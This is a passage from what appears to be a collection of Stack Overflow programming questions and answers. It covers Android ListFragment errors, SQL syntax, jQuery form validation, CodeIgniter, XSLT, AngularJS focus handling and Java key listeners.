Intent(getActivity().getApplicationContext(), NewsDetailActivity.class); in.putExtra(TAG_JUDUL, judul); in.putExtra(TAG_TGL, tanggal); in.putExtra(TAG_SUMBER, sumber); startActivity(in); } }); // Calling async task to get json new GetNews().execute(); return newsView ; } /** * Async task class to get json by making HTTP call * */ private class GetNews extends AsyncTask&lt;Void, Void, Void&gt; { @Override protected void onPreExecute() { super.onPreExecute(); // Showing progress dialog pDialog = new ProgressDialog(getActivity()); pDialog.setMessage("Mohon tunggu..."); pDialog.setCancelable(false); pDialog.show(); } @Override protected Void doInBackground(Void... arg0) { // Creating service handler class instance ServiceHandler sh = new ServiceHandler(); // Making a request to url and getting response String jsonStr = sh.makeServiceCall(url, ServiceHandler.POST); Log.d("Response: ", "&gt; " + jsonStr); if (jsonStr != null) { try { JSONObject jsonObj = new JSONObject(jsonStr); // Getting JSON Array node news = jsonObj.getJSONArray(""); // looping through All Contacts for (int i = 0; i &lt; news.length(); i++) { JSONObject c = news.getJSONObject(i); String id = c.getString(TAG_ID); String judul = c.getString(TAG_JUDUL); String tgl = c.getString(TAG_TGL); String sumber = c.getString(TAG_SUMBER); // String gambar = c.getString(TAG_GENDER); // tmp hashmap for single contact HashMap&lt;String, String&gt; news = new HashMap&lt;String, String&gt;(); // adding each child node to HashMap key =&gt; value news.put(TAG_ID, id); news.put(TAG_JUDUL, judul); news.put(TAG_TGL, tgl); news.put(TAG_SUMBER, sumber); // adding contact to contact list newsList.add(news); } } catch (JSONException e) { e.printStackTrace(); } } else { Log.e("ServiceHandler", "Couldn't get any data from the url"); } return null; } @Override protected void onPostExecute(Void result) { super.onPostExecute(result); // Dismiss the progress dialog if (pDialog.isShowing()) pDialog.dismiss(); /** * Updating parsed JSON data into ListView * */ ListAdapter adapter = new SimpleAdapter( getActivity().getApplicationContext(), newsList, R.layout.list_item, new String[] { TAG_JUDUL, TAG_TGL, TAG_SUMBER }, new int[] { R.id.judul, R.id.tglPublish, R.id.sumber }); setListAdapter(adapter); } } }</code></pre> </div> </div> </p> <p>my xml : </p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" android:layout_marginLeft="12dp" android:layout_marginRight="12dp"&gt; &lt;!-- Main ListView Always give id value as list(@android:id/list) --&gt; &lt;ListView android:id="@android:id/list" android:layout_width="fill_parent" android:layout_height="wrap_content"/&gt; &lt;/LinearLayout&gt;</code></pre> </div> </div> </p> <p>list_item.xml :</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:orientation="vertical" android:padding="10dp" android:paddingLeft="10dp" android:paddingRight="10dp" &gt; &lt;!-- Judul --&gt; &lt;TextView android:id="@+id/judul" android:layout_width="fill_parent" android:layout_height="wrap_content" android:paddingBottom="2dip" android:paddingTop="6dip" android:textColor="#43bd00" android:textSize="16sp" android:textStyle="bold" /&gt; &lt;!-- Tgl Publish --&gt; &lt;TextView android:id="@+id/tglPublish" android:layout_width="fill_parent" android:layout_height="wrap_content" android:paddingBottom="2dip" android:textColor="#acacac" /&gt; &lt;!-- Sumber --&gt; &lt;TextView android:id="@+id/sumber" android:layout_width="fill_parent" android:layout_height="wrap_content" android:gravity="left" android:textColor="#5d5d5d" android:textStyle="bold" /&gt; &lt;ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" /&gt; &lt;/LinearLayout&gt;</code></pre> </div> </div> </p> <p>and error log :</p> <pre><code>05-20 00:24:41.091 20376-20376/com.emaszda.nutrisibunda E/AndroidRuntime﹕ FATAL EXCEPTION: main java.lang.IllegalStateException: Content view not yet created at android.support.v4.app.ListFragment.ensureList(ListFragment.java:328) at android.support.v4.app.ListFragment.getListView(ListFragment.java:222) at com.emaszda.nutrisibunda.NewsFragment.onCreateView(NewsFragment.java:58) at android.support.v4.app.Fragment.performCreateView(Fragment.java:1786) at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:953) at android.support.v4.app.FragmentManagerImpl.moveToState(FragmentManager.java:1136) at android.support.v4.app.BackStackRecord.run(BackStackRecord.java:739) at android.support.v4.app.FragmentManagerImpl.execPendingActions(FragmentManager.java:1499) at android.support.v4.app.FragmentManagerImpl.executePendingTransactions(FragmentManager.java:488) at android.support.v4.app.FragmentPagerAdapter.finishUpdate(FragmentPagerAdapter.java:141) at android.support.v4.view.ViewPager.populate(ViewPager.java:1073) at android.support.v4.view.ViewPager.populate(ViewPager.java:919) at android.support.v4.view.ViewPager.onMeasure(ViewPager.java:1441) at android.view.View.measure(View.java:15891) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5035) at android.widget.FrameLayout.onMeasure(FrameLayout.java:310) at android.view.View.measure(View.java:15891) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5035) at android.support.v7.internal.widget.ActionBarOverlayLayout.onMeasure(ActionBarOverlayLayout.java:453) at android.view.View.measure(View.java:15891) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5035) at android.widget.FrameLayout.onMeasure(FrameLayout.java:310) at android.view.View.measure(View.java:15891) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5035) at android.widget.LinearLayout.measureChildBeforeLayout(LinearLayout.java:1404) at android.widget.LinearLayout.measureVertical(LinearLayout.java:695) at android.widget.LinearLayout.onMeasure(LinearLayout.java:588) at android.view.View.measure(View.java:15891) at android.view.ViewGroup.measureChildWithMargins(ViewGroup.java:5035) at android.widget.FrameLayout.onMeasure(FrameLayout.java:310) at com.android.internal.policy.impl.PhoneWindow$DecorView.onMeasure(PhoneWindow.java:2208) at android.view.View.measure(View.java:15891) at android.view.ViewRootImpl.performMeasure(ViewRootImpl.java:1957) at android.view.ViewRootImpl.measureHierarchy(ViewRootImpl.java:1156) at android.view.ViewRootImpl.performTraversals(ViewRootImpl.java:1336) at android.view.ViewRootImpl.doTraversal(ViewRootImpl.java:1056) at android.view.ViewRootImpl$TraversalRunnable.run(ViewRootImpl.java:5542) at android.view.Choreographer$CallbackRecord.run(Choreographer.java:749) at android.view.Choreographer.doCallbacks(Choreographer.java:562) at android.view.Choreographer.doFrame(Choreographer.java:532) at android.view.Choreographer$FrameDisplayEventReceiver.run(Choreographer.java:735) at android.os.Handler.handleCallback(Handler.java:730) at android.os.Handler.dispatchMessage(Handler.java:92) at android.os.Looper.loop(Looper.java:137) at android.app.ActivityThread.main(ActivityThread.java:5162) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:525) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:756) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:572) at miui.dexspy.DexspyInstaller.main(DexspyInstaller.java:171) at dalvik.system.NativeStart.main(Native Method) </code></pre>
4712	0	 <p>The users outside the network can make <a href="http://hgbook.red-bean.com/hgbookch12.html#x16-26800012.1" rel="nofollow noreferrer">patches</a>, and/or use <a href="http://hgbook.red-bean.com/hgbookch14.html#x18-32100014.4" rel="nofollow noreferrer">email</a> to send the updates to the main repo or someone, like yourself to merge them. The other internal people can have local copies, like yourself and do merges --but if you are having these out of network patches, it might be better that one person deal with them so nobody gets confused, but that's something you'd have to consider yourself.</p> <p>Syncing the other way, you'd create a patch, and them email or get a flash drive to the remote developers to patch their system. You're going to need some good communication in the team man, I am thankful I'm not in your shoes.</p> <p>Those are my only suggestions --well, the obvious, get them a VPN connection! I'd love to hear how it goes, what plans stabilize into a weekly groove, et cetera. </p>
16190045	0	 <p>You are not using the proper syntax for <a href="http://dev.mysql.com/doc/refman/5.5/en/if.html" rel="nofollow">IF</a>:</p> <pre><code>IF EXISTS ( SELECT * FROM `apples` WHERE `apples`.`color` = ? AND `apples`.`size` = ?) THEN SELECT `apples`.`applesID`; ELSE INSERT INTO `apples` (`color`, `size`) VALUES(?,?); END IF; </code></pre>
4446520	0	 <p>Javascript evaluates logic by truethness/falseness. Values such as (<code>false</code>, "", null, <code>undefined</code>, <code>0</code>, -0) are evaluated as logic false.</p> <p>Combine this with the lazy evaluation, 'OR' operations are now evaluated from <code>left to right</code> and <strong>stops</strong> once <code>true</code> is found. Since, in your example, the truthness is not literally a boolean, the value is returned.</p> <p>In this case:</p> <pre><code>x = 0; y = 5; alert(y || x)/*returns 5*/; alert(x || y)/*also returns 5*/; </code></pre> <p>this can also be other objects.</p> <pre><code>functionThatReturnsTrue() || functionThatDoesSomething(); </code></pre>
16786284	0	 <p>There is no direct way to convert JavaScript to flash.</p> <p>There are two things you may with to try though. You can include an <strong>IFrame</strong> inside of flash from which you can render HTML content (though this may not be recommended depending on your purpose). You can also use the <strong>ExternalInterface</strong> class to call JavaScript methods from flash.</p>
16621600	0	Get the result for the last Task<> ( continuation)? <p>I have this sample code : </p> <pre><code>Task&lt;int&gt; t1= new Task&lt;int&gt;(()=&gt;1); t1.ContinueWith(r=&gt;1+r.Result).ContinueWith(r=&gt;1+r.Result); t1.Start(); Console.Write(t1.Result); //1 </code></pre> <p>It obviously return the <code>Result</code> from the <code>t1</code> task. ( which is 1)</p> <p>But how can I get the <code>Result</code> from the <strong>last</strong> continued task ( it should be <code>3</code> {1+1+1})</p>
24569617	0	jquery validation is working but no validation message <p>I am working on a website using a purchased theme from wrapbootstrap and working specifically with its CONTACT FORM.</p> <p>You can check the demo of the contact form here: <a href="http://gridelicious.com/themes/treble/demo/#page-contact" rel="nofollow">CONTACT FORM DEMO</a></p> <p>The form is using validation that shows the floating message when the input is not as expected.</p> <p>the original html code for the form is just plain as below:</p> <pre><code>&lt;form&gt; &lt;input type="text" class="span12" placeholder="Title" required="required"&gt; &lt;input type="email" class="span12" placeholder="Email" required="required"&gt; &lt;textarea rows="10" class="span12" required="required"&gt;&lt;/textarea&gt; &lt;button type="submit" class="btn btn-primary"&gt;Submit&lt;/button&gt; &lt;/form&gt; </code></pre> <p>then I changed the codes for my need and the validation stopped showing the messages but I am sure the validation in the background is working. I can see from the red highlight and the form is not submitted.</p> <p>here is the customized code of mine:</p> <pre><code>&lt;form&gt; &lt;input id="message-title" type="text" class="span12" placeholder="Name" required="required"&gt; &lt;input id="message-email" type="email" class="span12" placeholder="Email" required="required"&gt; &lt;textarea id="message-content" rows="10" class="span12" required="required"&gt;&lt;/textarea&gt; &lt;button type="submit" class="btn btn-primary SendMessage"&gt;Submit&lt;/button&gt; &lt;/form&gt; </code></pre> <p>What could be the problem that caused this?</p> <p>FYI: I am working in asp MVC 5 web site. So I am editing the HTML in razor view. I use the submit button in the form above to submit ajax request to one of my controllers.</p> <p>My SHORTCOMING: I am not good at javascript. I have been trying to find a javascript piece that controls the validation of the form, but I could not find it. If you guys check the source code of the <a href="http://gridelicious.com/themes/treble/demo/#page-contact" rel="nofollow">CONTACT FORM DEMO</a>, there is no jquery validation embedded.</p> <p>From all of the javascript documents embeded in the website, I am only suspicious for this one document. Lemme show the whole code below:</p> <pre><code>$(document).ready(function(){ /** * Global variables. */ var pageHeight = $(window).height(); var pageWidth = $(window).width(); var navigationHeight = $("#navigation").outerHeight(); /** * ON RESIZE, check again */ $(window).resize(function () { pageWidth = $(window).width(); pageHeight = $(window).height(); }); /** * ON LOAD */ /* Initialize scroll so if user droped to other part of page then home page. */ $(window).trigger('scroll'); /* Fix navigation. */ $('#navigation').fixedonlater({ speedDown: 250, speedUp: 100 }); /* Centralize elements on page. */ $('.centralized').centralized({ delay: 1500, fadeSpeed: 500 }); /* Make embeded videos responsive. */ $.fn.responsivevideos(); /* Carousel "Quote slider" initialization. */ $('#quote-slider').each(function(){ if($('.item', this).length) { $(this).carousel({ interval: 20000 }); } }); /* Scroll spy and scroll filter */ $('#main-menu').onePageNav({ currentClass: "active", changeHash: false, scrollOffset: navigationHeight - 10, scrollThreshold: 0.5, scrollSpeed: 750, filter: "", easing: "swing" }); /* * Paralax initialization. * Exclude for mobile. */ if(pageWidth &gt; 980){ /* Dont user paralax for tablet and mobile devices. */ $('#page-welcome').parallax("0%", 0.2); $('#page-features').parallax("0%", 0.07); $('#page-twitter').parallax("0%", 0.1); } /* Emulate touch on table/mobile touchstart. */ if(typeof(window.ontouchstart) != 'undefined') { var touchElements = [".social-icons a", ".portfolio-items li", ".about-items .item"]; $.each(touchElements, function (i, val) { $(val).each(function(i, obj) { $(obj).bind('click', function(e){ if($(this).hasClass('clickInNext')){ $(this).removeClass('clickInNext'); } else { e.preventDefault(); e.stopPropagation(); $(this).mouseover(); $(this).addClass('clickInNext'); } }); }); }); } /** * BLOCK | Navigation * * Smooth scroll * Main menu links * Logo click on Welcome page */ $('#page-welcome .logo a').click(function(){ $('html, body').animate({ scrollTop: $( $.attr(this, 'href') ).offset().top - navigationHeight + 4 }, 800); /* Fix jumping of navigation. */ setTimeout(function() { $(window).trigger('scroll'); }, 900); return false; }); /** * PAGE | Welcome * * Initialize slider for welcome page H1 message. */ $('#welcome-messages ul').bxSlider({ mode: 'vertical', auto: true, minSlides: 1, responsive: true, touchEnabled: true, pager: false, controls: false, useCSS: false, pause: 10000 }); /** * PAGE | WORK * * .plugin-filter - Defines action links. * .plugin-filter-elements - Defines items with li. */ $('.plugin-filter').click(function(){ return false; }); $('.plugin-filter-elements').mixitup({ targetSelector: '.mix', filterSelector: '.plugin-filter', sortSelector: '.sort', buttonEvent: 'click', effects: ['fade','rotateY'], listEffects: null, easing: 'smooth', layoutMode: 'grid', targetDisplayGrid: 'inline-block', targetDisplayList: 'block', gridClass: '', listClass: '', transitionSpeed: 600, showOnLoad: 'all', sortOnLoad: false, multiFilter: false, filterLogic: 'or', resizeContainer: true, minHeight: 0, failClass: 'fail', perspectiveDistance: '3000', perspectiveOrigin: '50% 50%', animateGridList: true, onMixLoad: null, onMixStart: null, onMixEnd: null }); /** * PAGE | Twitter * * Pull latest tweets from user. * Configuration: /plugins/twitter/index.php */ $('#twitterfeed-slider').tweet({ modpath: 'plugins/twitter/', username: 'TheGridelicious', count: 3 }); $('#twitterfeed-slider').tweetCarousel({ interval: 7000, pause: "hover" }); }); /** * Ajax request. * Start loading. * Append loading notification. */ $( document ).ajaxSend( function() { /* Show loader. */ if($(".loading").length == 0) { $("body").append('&lt;div class="loading"&gt;&lt;div class="progress progress-striped active"&gt;&lt;div class="bar"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;'); $(".loading").slideDown(); $(".loading .progress .bar").delay(300).css("width", "100%"); } }); /** * Reinitialize Scrollspy after ajax request is completed. * Refreshing will recalculate positions of each page in document. * Time delay is added to allow ajax loaded content to expand and change height of page. */ $( document ).ajaxComplete(function() { /* Remove loading section. */ $(".loading").delay(1000).slideUp(500, function(){ $(this).remove(); }); /* Portfolio details - close. */ $(".close-portfolio span").click(function(e) { $(".portfolio-item-details").delay(500).slideUp(500, function(){ $(this).remove(); }); window.location.hash= "!"; return false; }); }); </code></pre> <p>Please have a look and tell me if the setting is somewhere in this document, even though I dont think so, according to my knowledge which could be wrong.</p> <p>Please inform me other possibilities source for this problem. thanks</p>
29962938	0	Check if url image exist <p>I'm trying to check if a url image exist using a if statement. However when trying to test it by wrong image url it keep returning:</p> <blockquote> <p>fatal error: unexpectedly found nil while unwrapping an Optional value.</p> </blockquote> <p>code:</p> <pre><code>var httpUrl = subJson["image_url"].stringValue let url = NSURL(string: httpUrl) let data = NSData(contentsOfURL: url!) if UIImage(data: data!) != nil { } </code></pre>
3669627	0	 <p>Turns out that if we do not need IList semantics and can make do with ICollection the update problem can be solved by adding a reference back from Lesson to Module, such as:</p> <pre><code>public class Lesson { ... protected virtual ICollection&lt;Module&gt; InModules { get; set; } ... } </code></pre> <p>And to the mapping files add:</p> <pre><code>&lt;class name="Lesson" table="Lessons"&gt; ... &lt;set name="InModules" table="ModuleToLesson"&gt; &lt;key column="lessonId"/&gt; &lt;many-to-many column="moduleId" class="NhLists.Module, NhLists"/&gt; &lt;/set&gt; &lt;/class&gt; </code></pre> <p>Then a <code>Lesson</code> deleted is also removed from the collection in <code>Module</code> automatically. This also works for lists but the list index is not properly updated and causes "holes" in the list.</p>
27700559	0	 <p>Try this code,</p> <pre><code>private class MYWEBCLIENT extends WebViewClient { private ProgressDialog prDialog; @Override public void onPageStarted(WebView view, String url, Bitmap favicon) { super.onPageStarted(view, url, favicon); prDialog = ProgressDialog.show(activity, "", "Please wait..."); } @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } @Override public void onPageFinished(WebView view, String url) { super.onPageFinished(view, url); if (prDialog != null &amp;&amp; prDialog.isShowing()) prDialog.dismiss(); } } </code></pre> <p>Load webview code,</p> <pre><code>webViewInfo.getSettings().setJavaScriptEnabled(true); webViewInfo.getSettings().setJavaScriptCanOpenWindowsAutomatically(true); webViewInfo.setWebViewClient(new MYWEBCLIENT()); webViewInfo.loadData("YOUR_URL_OR_HTML_FILE", "text/html", "UTF-8"); </code></pre>
25123067	0	XAMPP How to restart the server <p>I am new to web design, and I am using XAMPP for my website to test PHP and MySQL, I noticed that when I modify the index.html (HTML, CSS), I don't see the changes immediately when I open it from the browser localhost/webdesign/index.html. I often have to wait for more than 10 minutes to see the changes in localhost.</p> <p>However, if I open it locally D:/xampp/htdocs/webdesign/index.html I can see the modification I made immediately.</p> <p>I restarted the Apache server from the XAMPP control panel and still don't see the changes that I made. Anyone know how to fix this?</p> <p>When I changes the picture files, I can see the modification I made in the source code in localhost/index.html, but the pictures are still the same, the files are not being updated.</p> <p>What can I do to speed things up?</p>
28668605	0	 <p>If you are using some UI Terminal like SQLDeveloper or TOAD, you can achieve it using below code:</p> <pre><code>CREATE OR REPLACE INPUTPROCEDURE (LV_CHOICE IN VARCHAR2) AS BEGIN DBMS_OUTPUT.PUT_LINE('Enter Y to display Unauthorized records OR N to skip the display'); --SELECT &amp;1 INTO lv_choice FROM DUAL; IF lv_choice &lt;&gt; 'Y' THEN DBMS_OUTPUT.PUT_LINE ('RECORDS WILL NOT BE DISPLAYED'); ELSE DBMS_OUTPUT.PUT_LINE ('RECORDS TO BE DISPLAYED ARE:'); END INPUTPROCEDURE; </code></pre> <p>And Invoke the above Procedure like below:</p> <pre><code>DECLARE dyn_stmt VARCHAR2(200); b BOOLEAN := TRUE; BEGIN dyn_stmt := 'BEGIN INPUTPROCEDURE(:LV_CHOICE); END;'; EXECUTE IMMEDIATE dyn_stmt USING b; END; </code></pre>
7501133	0	How to add stylecop check as a pre-build action to VS2010? <p>In our project we have added StyleCop task to be executed after each commit by continuous integration server. The problem is that build often breaks because someone forgets to run Stylecop before commiting code to repository.</p> <p>The solution will be to execute StyleCop before each VS2010 build. How can I do it? Maybe it is possible to execute pre-build action per whole solution?</p>
3779904	0	SSAS Dynamic Dimension Security based on another dimension attribute <p>In my project I have to apply security based on a dimension attribute. I think the best way to explain my scenario is with an example, if you need more info please request me and I'll love to told you if it will help me find a solution.</p> <p>I have some main dimension, the dimcustomer, dimseller, fact, data and geographic. The fact table are related with dimseller ids, the dimcustomer is related to the dimseller based on one dimseller specific attribute(CNPJ)(another dimensions that i didnt described are related the same way).</p> <p>So my goal is to apply a role security based on the dimseller CNPJ, so then when the user related with that seller trys to browse data he will be allowed to view only the data that are related to his seller CNPJ.</p> <p>Table example:</p> <pre><code>DIM Seller: DIM Customer FactTable id name cnpj id name dimseller.cnpj dimseller.id dimcustomerid measure 1 ME 1234 1 guest1 1234 1 1 50,00 2 you 5678 2 guest2 5678 2 2 100,00 </code></pre> <p>So if i login as ME i will be able to se that i have the customer guest1 with one sold product that was sold by 50 bucks.</p> <p>Got my point?</p> <p>What is the best way of doing it?</p> <p>For now I'm considering the following guide: <a href="http://varadarajbhat.wordpress.com/2010/04/28/forms-based-authenticationfba-configuration-for-performancepoint-2010-and-sharepoint-2010-using-claims-authentication/#comment-41" rel="nofollow noreferrer">Claim Authentication with dynamic dimension security</a>, but at that way I should define it attribute by attribute. </p> <p>Is there a way that i can define this security need? I can easy filter the data using sql statements, but i have no ideia how i can apply this kind of security in the ssas.</p> <p>Thank you guys anyway!</p>
16028349	0	 <p>Your mistake is in translating 0 based to 1 based indexing. The arrays are 0 based. You're having them enter in a 1 based row. Then you want to add the 8 numbers around it. If they entered 0 based numbers and entered N, you'd want to sum [n-1], n, and n+1 for each row/column. To deal with 0 based, you want to do n-2, n-1, and n. But you're doing n-2 and n+2. You're also not calculating the middle of the rows anywhere near right.</p> <p>Best practice is not even to do the math like that. It would be to read in the row/column number, then immediately subtract 1 to make it 0 based, and deal with it as 0 based from then on.</p>
35182395	0	 <p>If you set an element's accessibility role to an empty string, Voice Over won't detect it. I had to hide some NSImageView elements in my app because their file names were being read out and it was confusing for the VO user.</p> <p>Either</p> <p><code>[element accessibilitySetOverrideValue:@"" forAttribute:NSAccessibilityRoleAttribute];</code></p> <p>or else</p> <p><code>[[element cell] accessibilitySetOverrideValue:@"" forAttribute:NSAccessibilityRoleAttribute];</code></p> <p>should do the trick.</p> <p>I know that Apple a new method based Accessibility API but it only works for OS X 10.10 onwards and the application I'm working needs to be compatible with 10.9.</p> <p>If you can use the new API <code>[element setAccessibilityRole:@""];</code> or <code>[[element cell] setAccessibilityRole:@""];</code> should do the same thing.</p>
24782847	0	ng-blur on a DIV <p>I am trying to hide a <code>DIV</code> on blur (the focus has been removed from the <code>DIV</code>). I am using angular and bootstrap. So far I have tried setting "focus" on the <code>DIV</code> when it is shown and then an <code>ng-blur</code> function when the user click anywhere else on the screen. This is not working.</p> <p>Basically the problem is I cannot set focus on my "<code>#lockerBox</code>" through JS, my "<code>hideLocker</code>" function works no problem when focus is given to my <code>DIV</code> with clicking it. </p> <pre><code>&lt;div class="lock-icon" ng-click="showLocker(result); $event.stopPropagation();"&gt;&lt;/div&gt; &lt;div ng-show="result.displayLocker" id="lockerBox" ng-click="$event.stopPropagation();" ng-blur="hideLocker(result)" tabindex="1"&gt; $scope.displayLocker = false; $scope.showLocker = function ( result ) { $scope.displayLocker = !$scope.displayLocker; node.displayLocker = $scope.displayLocker; function setFocus() { angular.element( document.querySelector( '#lockerBox' ) ).addClass('focus'); } $timeout(setFocus, 100); }; $scope.hideLocker = function ( node ) { $scope.displayLocker = false; node.displayLocker = $scope.displayLocker; }; </code></pre>
23612773	0	IE8 buttons not working when floating next to an element <p>I'm working on Windows XP with IE8, and I noticed that when I make a button float next to an element, the clickable area of the button reduces to only the area that's not inmediately next to the element. It's little difficult to explain with words, so let's use images. This is the button floating left to the "something" div. Notice where the mouse pointer is:</p> <p><img src="https://i.stack.imgur.com/KN19p.jpg" alt="enter image description here"></p> <p>Notice the yellow border of the button too. If I do click in this position, the button responds. So far, so good. But, if I move the pointer little upper, the yellow border dissapears, and if I do click, the button doesn't respond:</p> <p><img src="https://i.stack.imgur.com/srdAA.jpg" alt="enter image description here"></p> <p>In fact, if I click in the colored area, the button doesn't work at all:</p> <p><img src="https://i.stack.imgur.com/xAE6f.jpg" alt="enter image description here"></p> <p>Here is the code (it works in Firefox and Chrome):</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Button Test&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;input value="Rollover" style="float: left; height: 40px; width: 120px;" type="button"&gt; &lt;div&gt;Something&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>Does anyone know about this bug? Is there any fix for it?</p> <p>Thanks in advance.</p>
22189441	0	Why is CodeIgniter adding an extra "where" to my delete query? <p>For some reason, CodeIgniter is adding an extra "where" clause to my delete query. It's obvious as to why the MySQL error is happening... but why is CI adding this extra clause?</p> <p>This is the error:</p> <pre><code>Unknown column '8' in 'where clause' DELETE FROM `forum_messages` WHERE `thread_id` = '8' AND `8` IS NULL </code></pre> <p>This is my code:</p> <pre><code>function delete($thread_id){ $this-&gt;db-&gt;save_queries = FALSE; $this-&gt;db-&gt;where('thread_id', $thread_id); if(!$this-&gt;db-&gt;delete('forum_messages')){ $this-&gt;error = "The messages in this thread could not be deleted because of a database error: ".$this-&gt;db-&gt;_error_message(); } else { $this-&gt;db-&gt;where('thread_id', $thread_id); if(!$this-&gt;db-&gt;delete('forum_threads')){ $this-&gt;error = "The thread could not be deleted because of a database error: ".$this-&gt;db-&gt;_error_message(); } } } </code></pre> <p>UPDATE:</p> <p>None of the answers suggested below worked. For some reason I had to switch the delete queries and delete from forum_messages before I deleted before forum_threads.</p>
40945712	0	 <p>It all depends on what out method you choose during transformation. In following I have defined output method as <code>xml</code>, it will give you output as XML which then you can render. Alternatively try with output method as <code>html</code></p> <p>Find follwoing working XSL.</p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ns1="http://locomotive/bypass/docx" &gt; &lt;xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes"/&gt; &lt;xsl:strip-space elements="*"/&gt; &lt;!-- identity transform --&gt; &lt;xsl:template match="node()"&gt; &lt;xsl:copy&gt; &lt;xsl:apply-templates select="node()"/&gt; &lt;/xsl:copy&gt; &lt;/xsl:template&gt; &lt;xsl:template match="/"&gt; &lt;h2&gt; Student information &lt;/h2&gt; &lt;xsl:for-each select="student"&gt; USN: &lt;span style="font-style: italic;color:red"&gt; &lt;xsl:value-of select="USN" /&gt; &lt;br /&gt; &lt;/span&gt; Name: &lt;span style="font-style: italic"&gt; &lt;xsl:value-of select="name" /&gt; &lt;br /&gt; &lt;/span&gt; college Name: &lt;span style="font-style: italic;color:green"&gt; &lt;xsl:value-of select="college" /&gt; &lt;br /&gt; &lt;/span&gt; Branch: &lt;span style="font-style: italic;color:blue"&gt; &lt;xsl:value-of select="branch" /&gt; &lt;br /&gt; &lt;/span&gt; Year of Joining: &lt;span style="font-style: italic;color:yellow"&gt; &lt;xsl:value-of select="YOJ" /&gt; &lt;br /&gt; &lt;/span&gt; Email-id: &lt;span style="font-style: italic;color:blue"&gt; &lt;xsl:value-of select="email" /&gt; &lt;br /&gt; &lt;/span&gt; &lt;/xsl:for-each&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>Workgin demo for you : <a href="http://xsltransform.net/ejivdHb/25" rel="nofollow noreferrer">http://xsltransform.net/ejivdHb/25</a></p> <p><a href="https://i.stack.imgur.com/dh4TY.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dh4TY.png" alt="enter image description here"></a></p>
13149416	0	jquery.min.js - Google hosted - making automatic ajax requests <p>I have jQuery added via;</p> <pre><code>&lt;script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"&gt;&lt;/script&gt; </code></pre> <p>And when my page loads i get this;</p> <pre><code>XMLHttpRequest cannot load http://fiddle.jshell.net/favicon.png. Origin http://demo.chrisdlangton.com is not allowed by Access-Control-Allow-Origin. </code></pre> <p>The network shows the initiator is "jquery.min.js" !!!</p> <p>Now correct me if i am wrong but does it not appear that google has its hosted jQuery library making XMLHttpRequest on behalf of thier users without consent or warning!?</p> <p>EDIT: the below was posted as a comment BEFORE i was downvoted, making the down voter just as bad for not reading everything before passing judgement; i have only a small piece of code, nothing in my css, js, html, php makes any reference to "favicon" let alone jshell or fiddle. By removing the jQuery link i no longer encounter this. Also, by using a jQuery script i had stored on my pc from an earlier date, version 1.8.2 also, i do not get this at all therefore its not in the jQuery i previously downloaded. When i save the google hosted .js and add to to my html locally i get this error. This morning when i still had the google hosted .js in my html there was no error By process of elimination its clear jQuery hosted by google caused this.</p> <p>EDIT: this has stopped happening now - i have downloaded a copy of the .js that causes it and see it happening still when i use this downloaded copy but not when linking to the hosted .js. I'll be lodging a bug report with Google, maybe they were playing a trick.. wh knows.</p>
22113698	0	Detecting keypress in Java v2 <p>I am sorry but my previous question <a href="http://stackoverflow.com/questions/21969954/how-to-detect-a-key-press-in-java">How to detect a key press in Java</a> has not worked. </p> <p>I have watched multiple videos and seen articles about keylisteners of such but none have worked. I do know that I must call </p> <pre><code>repaint(); </code></pre> <p>to update the coordinates so don't mark me on that. I know I have to use a keyListener to make it move. I want it so when I hold down a key, my (png) graphic will move in my chosen direction. </p> <p>Also how could I make it so it keeps moving until my finger has stopped pressing that key. And say I pressed A and D it would move diagonally. </p> <p>I don't know what is wrong with my code but here is my code(I use eclipse standard kelper 7.4). I also tried to put 2 png images on the screen at once, but it was only displaying 1? How could I stop that? Also why is my background not black?</p> <p>Here is my code:</p> <pre><code>import javax.swing.*; import java.awt.*; public class window { public static void main(String[] args) { // TODO Auto-generated method stub JFrame f = new JFrame(); f.setSize(600,600); f.setBackground(Color.BLACK); f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); f.setVisible(true); f.setLocationRelativeTo(null); f.setResizable(true); f.setAlwaysOnTop(true); player player = new player(); f.add(player); } </code></pre> <p>}</p> <pre><code>//I do seem to have a few errors throughout my code. this is because of the KeyListener //The player class(this one has the keylistener problem) import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.awt.geom.*; public class player extends JPanel implements KeyListener, ActionListener{ private ImageIcon image; int x = 0; int y = 0; public boolean right = false; public boolean left = false; public player(Display f){ f.addKeyListener(new KeyAdapter(){ public void keyReleased(KeyEvent e){ if(e.getKeyCode() == KeyEvent.VK_D){ right = false; } }}); } public void paintComponent(Graphics g){ super.paintComponent(g); this.setBackground(Color.BLACK); image = new ImageIcon("neonShip.png"); image.paintIcon(this, g, x, y); if(right){ x += 1; } repaint(); } @Override public void 